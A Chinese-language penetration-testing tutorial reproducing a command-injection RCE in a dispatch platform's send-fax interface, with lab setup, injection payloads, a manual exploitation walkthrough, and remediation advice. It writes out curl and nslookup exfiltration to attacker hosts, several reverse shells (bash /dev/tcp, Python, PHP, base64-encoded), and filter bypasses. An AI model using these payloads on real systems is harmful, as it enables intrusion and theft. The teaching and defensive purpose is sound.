Web应用RCE漏洞复现:从命令注入原理到实战利用
1. 项目概述一次典型的Web应用RCE漏洞复现之旅最近在梳理一些历史漏洞案例福建科立讯通信指挥调度平台的“send-fax”接口远程命令执行漏洞RCE是一个挺有代表性的例子。它不是什么惊天动地的零日但胜在“典型”——典型的逻辑缺陷、典型的参数拼接、典型的防护缺失非常适合用来理解Web应用安全中那些“老生常谈”却又屡禁不止的问题。这个漏洞的核心简单来说就是攻击者能够通过一个看似正常的文件上传或传真发送功能在服务器上执行任意系统命令从而完全控制服务器。对于安全研究人员这是绝佳的学习样本对于企业运维和开发则是一记响亮的警钟。今天我就带大家完整走一遍这个漏洞的复现与分析过程不仅告诉你“怎么做”更重点拆解“为什么能这么做”以及在实际渗透测试和代码审计中如何快速定位这类问题。2. 漏洞环境搭建与初步侦查2.1 目标环境准备要复现漏洞首先得有一个靶场环境。由于科立讯通信的官方系统不便直接用于测试我们通常采用两种方式一是寻找历史版本的安装包在虚拟机中搭建二是使用安全研究人员构建的漏洞环境Docker镜像。这里我推荐后者因为它更干净、更可控避免了因依赖缺失导致的各种环境问题。我选择了一个基于Vulhub或类似项目构建的Docker环境。启动命令很简单docker pull some-repo/kelixun-rce:latest docker run -d -p 8080:80 --name kelixun some-repo/kelixun-rce启动后访问http://your-ip:8080就能看到指挥调度平台的登录界面。这个复现环境通常已经预设了默认的后台账号密码如 admin/admin123方便我们直接进入系统进行测试。注意所有漏洞复现必须在授权或隔离的实验室环境中进行严禁对未授权的真实系统进行任何测试。搭建本地靶场是安全研究的基本伦理和法律底线。2.2 信息收集与功能点定位登录系统后第一步不是盲目测试而是进行系统的信息收集。我们需要了解这个“指挥调度平台”是做什么的。顾名思义它用于应急指挥、通信调度通常会集成语音通话、视频监控、传真、短信等功能模块。我们的目标漏洞涉及“send-fax”发送传真那么我们就需要在系统中找到与传真相关的功能。通过浏览菜单我们很快找到了“传真管理”或“文件发送”之类的模块。点击进入会发现一个上传文件并填写传真号码、标题等信息的界面。用浏览器的开发者工具F12查看这个页面的网络请求重点关注提交表单时的API接口。通常这个请求会发送到一个类似/api/sendFax或/fax/send的端点使用POST方法参数中会包含传真号码、文件内容等。这个初步侦查至关重要它帮助我们确认漏洞入口找到了名为“send-fax”的功能点。理解数据流知道了客户端如何与服务器交互参数是如何传递的。为后续测试做准备记下关键的URL、请求方法POST和参数名如faxNumber,fileName,fileContent等。3. 漏洞原理深度剖析从参数拼接到底层调用3.1 漏洞触发点分析为什么一个发送传真的功能会导致远程命令执行问题的根源往往出在服务器端处理上传文件或传真内容的逻辑上。一种非常常见的错误模式是应用程序将用户可控的数据未经充分过滤直接拼接到了系统命令中然后调用诸如Runtime.exec()Java、os.system()Python、exec()PHP等函数去执行。让我们来还原一下漏洞代码可能的模样以下为基于常见漏洞模式的推测性伪代码// 伪代码示意危险操作 public void sendFax(String faxNumber, String fileName, byte[] fileData) { // 1. 将上传的文件保存到临时目录 String tempFilePath /tmp/ fileName; saveFile(fileData, tempFilePath); // 2. 构造传真发送命令 // 假设使用某个命令行工具sendfax来发送传真 String command sendfax -n faxNumber -f tempFilePath; // 3. 危险直接执行拼接后的命令 Runtime.getRuntime().exec(command); }或者在脚本语言中可能更直接#!/bin/sh # 后端可能通过Shell脚本调用 fax_number$1 file_path$2 sendfax -n $fax_number -f $file_path如果faxNumber或fileName这两个参数用户可控并且程序没有进行严格的过滤比如只允许数字、字母、点、下划线等攻击者就可以注入额外的命令。3.2 命令注入的多种姿势假设faxNumber参数存在注入点。攻击者可以尝试以下Payload基本注入faxNumber10086;id。在Linux/Unix中分号;是命令分隔符。这会导致系统先执行sendfax -n 10086 -f /tmp/xxx然后执行id命令。利用反引号或$()faxNumber10086$(id)。反引号或$()会先执行其中的命令并将其输出替换到原命令字符串中。利用管道或逻辑运算符faxNumber10086|whoami或faxNumber10086||whoami。利用参数注入有时注入点不在命令主体而在某个命令的参数中。例如如果fileName可控攻击者可以传入test.jpg;whoami;.jpg。当服务器拼接路径时可能因为解析问题导致命令执行。在这个“科立讯send-fax”漏洞的公开描述中问题很可能出在某个参数如传真号码、文件名甚至是文件内容元数据被直接拼接到一个用于调用底层传真服务或文件转换服务的系统命令中。由于输入校验缺失或过于宽松导致了RCE。3.3 漏洞利用链的构建一个完整的利用链不仅仅是执行一个whoami或id。在实战中我们需要考虑回显问题命令执行的结果如何返回给攻击者如果页面没有回显我们就需要构造能外带数据的命令例如curl http://attacker.com/?data$(whoami|base64)。权限问题当前Web服务如Tomcat、Apache运行在什么权限下是root、www-data还是其他受限用户这决定了我们能做什么。字符过滤与绕过目标系统是否过滤了空格、分号、管道符等我们需要尝试用${IFS}代替空格用%0a换行符代替分号或用编码、混淆的方式进行绕过。稳定Shell获取一次性命令执行不稳定我们通常希望获得一个交互式的反向Shell。这可以通过在目标服务器上执行如bash -i /dev/tcp/攻击者IP/端口 01这样的命令来实现。4. 手工复现与漏洞验证实操4.1 构造恶意请求基于前面的分析我们开始手工复现。使用Burp Suite或类似的HTTP代理工具拦截发送传真的请求。假设拦截到的正常请求如下POST /api/v1/fax/send HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded faxNumber13800138000fileNamereport.pdffileContent[BASE64_DATA]我们的目标是注入命令。如果怀疑faxNumber参数存在注入可以尝试修改faxNumber13800138000;whoami;fileNamereport.pdffileContent[BASE64_DATA]如果页面返回了错误或者传真状态异常但没有命令执行结果可能是无回显。我们需要尝试外带数据faxNumber13800138000;curl${IFS}http://your-vps:9999/$(whoami);fileNametest.pdf...同时在自己的VPS上启动一个监听nc -lvnp 9999。如果收到请求并且路径中包含当前用户名就证明漏洞存在且命令执行成功。4.2 获取反向Shell验证漏洞存在后下一步是获取一个更稳定的Shell。由于目标环境可能没有nc、bash等工具或者存在防火墙限制我们需要准备多种Payload。Linux环境下常用反向Shell命令# 方法1使用bash最常见 bash -i /dev/tcp/ATTACKER_IP/ATTACKER_PORT 01 # 方法2使用python python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER_IP,ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]); # 方法3使用php php -r $sockfsockopen(ATTACKER_IP,ATTACKER_PORT);exec(/bin/sh -i 3 3 23);我们需要将这些命令进行URL编码然后插入到可注入的参数中。由于命令中可能包含空格、重定向符号等特殊字符直接拼接可能会被破坏。通常的做法是将完整的反向Shell命令用Base64编码。在注入点构造解码并执行的命令。例如Bash反向Shell的Base64编码echo bash -i /dev/tcp/192.168.1.100/4444 01 | base64 # 得到编码后字符串YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo然后在注入点这样构造faxNumber13800138000;echo${IFS}YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo|base64${IFS}-d|bash;fileNametest.pdf这个Payload会先echo出Base64字符串然后解码最后通过管道交给bash执行。实操心得在真实测试中经常会遇到命令执行了但Shell没弹回来的情况。除了检查IP、端口、防火墙还要注意Payload中的特殊字符是否被Web容器或WAF转义了。多准备几种编码和变形方式如使用sh -c包裹、使用%0a换行执行多条语句是成功的关键。4.3 漏洞验证与信息收集成功获取反向Shell后我们首先进行初步的信息收集确认漏洞的完整性和影响范围# 查看当前用户和权限 whoami id sudo -l # 查看系统信息 uname -a cat /etc/issue cat /etc/*release* # 查看网络连接和进程 netstat -antp ps aux | grep -i kelixun # 查找科立讯相关进程 # 查看Web应用路径 ps aux | grep java # 如果是Java应用查看进程启动参数中的classpath或war包路径 find / -name \*.jar\ -type f | grep -i fax # 寻找可能包含漏洞代码的jar包这些信息对于后续的深入分析和编写漏洞报告至关重要。5. 漏洞挖掘与代码审计视角5.1 如何发现此类漏洞对于安全研究人员除了复现已知漏洞更重要的是掌握发现未知漏洞的方法。针对“命令执行”这类漏洞在代码审计和黑盒测试中各有侧重黑盒测试模糊测试参数枚举对每一个HTTP参数GET/POST/Cookie/Header都尝试注入测试Payload。Payload清单准备一个全面的命令注入Payload清单包括各种分隔符;,,|,||,、子Shell$()、、空格绕过${IFS},%20,TAB等。时间盲注如果无回显尝试使用sleep命令。例如注入;sleep 5;观察请求响应时间是否明显延迟5秒。DNS外带使用ping或nslookup将命令执行结果带到DNS查询中适用于严格的外网防火墙策略。例如;nslookup $(whoami).attacker-domain.com;。白盒审计代码审计危险函数搜索在源代码中全局搜索以下关键词Java:Runtime.exec(),ProcessBuilder,GroovyShell.evaluate()。Python:os.system(),os.popen(),subprocess.call(),eval(),exec()。PHP:system(),exec(),shell_exec(),passthru(),popen(), 反引号。其他任何调用脚本解释器的函数。跟踪数据流找到危险函数后向上回溯其参数来源。检查这些参数是否来自用户输入如HttpServletRequest.getParameter()、$_GET[‘xxx’]并且在整个传递过程中是否经过了有效的过滤或净化。检查过滤逻辑常见的过滤误区包括黑名单过滤只过滤了空格但没过滤${IFS}只过滤了;但没过滤换行符\n。部分过滤只对参数值的一部分进行过滤或者过滤后又在其他地方拼接了未过滤的数据。错误的使用安全函数例如使用String.replaceAll(“;”, “”)但攻击者可以输入;;过滤一次后变成;依然有效。5.2 针对传真/文件处理功能的审计重点对于“send-fax”这类功能审计时需要特别关注文件上传后的处理流程文件保存后是否调用了系统命令进行格式转换如convert、soffice、病毒扫描如clamscan、属性读取如file命令第三方库或组件调用是否使用了某些开源的传真处理库而这些库内部存在命令拼接配置文件中的命令模板应用程序是否从配置文件中读取命令模板然后将用户输入拼接进去例如配置中写着fax_cmd /usr/bin/sendfax -n {number} -f {file}代码直接做字符串替换。日志记录功能是否将用户输入记录到日志时调用了系统命令例如logger “Received fax from $number”如果$number可控就可能造成注入。6. 修复建议与安全开发规范6.1 立即修复措施如果确认系统存在此类漏洞应立即采取以下措施输入验证与过滤白名单原则对于传真号码严格限定为数字、短横线、加号等合法字符使用正则表达式进行校验。例如^[0-9\-]{6,20}$。拒绝黑名单避免使用黑名单过滤特殊字符因为很容易被绕过。避免命令拼接使用API替代命令寻找是否有纯Java/Python/PHP的传真处理库避免直接调用系统命令。使用参数化调用如果必须调用系统命令应使用参数化方式。例如在Java中使用ProcessBuilder并将参数作为独立的字符串数组传递而不是拼接成一个字符串。// 错误做法 String cmd “sendfax -n ” faxNumber “ -f ” filePath; Runtime.getRuntime().exec(cmd); // 正确做法 ProcessBuilder pb new ProcessBuilder(“sendfax”, “-n”, faxNumber, “-f”, filePath); pb.start();严格限制命令和参数预先定义好可执行的命令和允许的参数不从用户输入中动态构造。最小权限原则运行Web服务的账户如tomcat、www-data应仅拥有必要的最小权限绝不能以root身份运行。这样即使被攻破攻击者能造成的破坏也有限。部署Web应用防火墙WAF作为临时缓解措施可以配置WAF规则拦截包含可疑命令分隔符和常见命令关键词的请求。6.2 长期安全开发规范要从根本上杜绝此类漏洞需要在开发流程中融入安全安全培训让开发人员了解OWASP Top 10特别是“注入”类漏洞的原理和危害。代码审计制度化将安全代码审计作为上线前的必要环节或使用SAST静态应用安全测试工具进行自动化扫描。使用安全函数库鼓励使用经过安全审计的、提供参数化接口的库来处理敏感操作如文件操作、系统调用。模糊测试常态化在测试阶段对暴露的接口进行系统的模糊测试提前发现潜在问题。7. 拓展思考与同类漏洞关联这个“send-fax” RCE漏洞并非孤例。它属于“不安全的外部命令调用”或“命令注入”大类。在各类管理平台、物联网设备、网络设备中只要涉及调用系统命令来处理用户输入就存在类似风险。我们可以举一反三关注其他类似场景网络设备路由器、防火墙通过Web界面进行ping、traceroute诊断时参数注入。监控系统通过Web界面添加监控项执行脚本或命令时注入。CI/CD平台构建任务中允许用户自定义构建脚本或命令。数据库管理工具执行SQL查询或备份时调用系统命令。复现和分析一个漏洞的价值远不止于掌握一个攻击技巧。更重要的是通过这个案例建立起一套发现、分析、修复同类问题的思维模式和方法论。当你下次再看到某个管理平台的“文件上传”、“数据导入”、“系统工具”模块时脑子里应该立刻响起警报这里会不会有命令拼接输入是否可控这才是漏洞复现带给我们的真正财富。